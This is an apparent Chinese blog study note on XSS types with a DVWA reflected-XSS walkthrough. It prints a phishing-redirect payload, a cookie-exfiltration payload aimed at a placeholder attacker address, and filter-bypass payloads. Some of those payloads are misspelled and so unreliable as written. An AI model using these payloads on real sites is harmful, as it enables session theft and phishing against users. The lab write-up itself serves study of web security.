反射型攻击需要用户主动浏览恶意链接(可跳转到攻击者钓鱼页面),有点儿像精准诈骗,去针对某一个人进行忽悠。用户点击后请求发到服务端,再由服务端返回客户端解析,触发攻击。

<script>window.location='http://地址'</script>      //跳转钓鱼页面

<script>new Image().src="http://地址/GetCookie.php?output="+document.cookie;</script>  
//用户点击链接后,服务端接收到JS未拦截,返回到客户端浏览器进行解析,此时客户端把自己的cookie发给js文件中地址接收。

存储型自动攻击浏览页面所有用户吗,因为payload已经存储在数据库中,不论哪个用户访问页面都即刻触发攻击。像抗日片打伏击一样,国军布好了反步兵地雷,等着日军从岔路口经过。

DOM型不会向服务器发送请求,直接在本地完成操作

修复:防御存储型跨站,首先要完善代码防护,随后把数据库中的pyload删除,以免修复上线后再次造成威胁。

练习:
反射型XSS-Low等级。它接受参数就直接输出没有任何过滤,<scirpt>alert(1)</scirpt>可以生效。

ReflectedXss-Low.JPG

反射型XSS-Medium 等级。str_replace只会过滤script标签可以用<script<script>>alert(1)</script>,这样会将完整的script标签替换掉,这个方法只会替换一次。另外可以用大小写方式进行绕过<sciTpt>alert(1)</scIrpt>

ReflectedXss-Medium .JPG

反射型XSS-High等级。用正则进行匹配

<img src="http://localhost/dvwa/dvwa/images/logo.png" onload="alert(1)">采用各种标签内事件来触发xss

ReflectedXss-High .JPG

Impossible等级,源码中用了htmlspecialchars()转义了&、"、'、<、>。无法进行攻击。

现在大多浏览器都自带XSS防护功能了

标签: none

添加新评论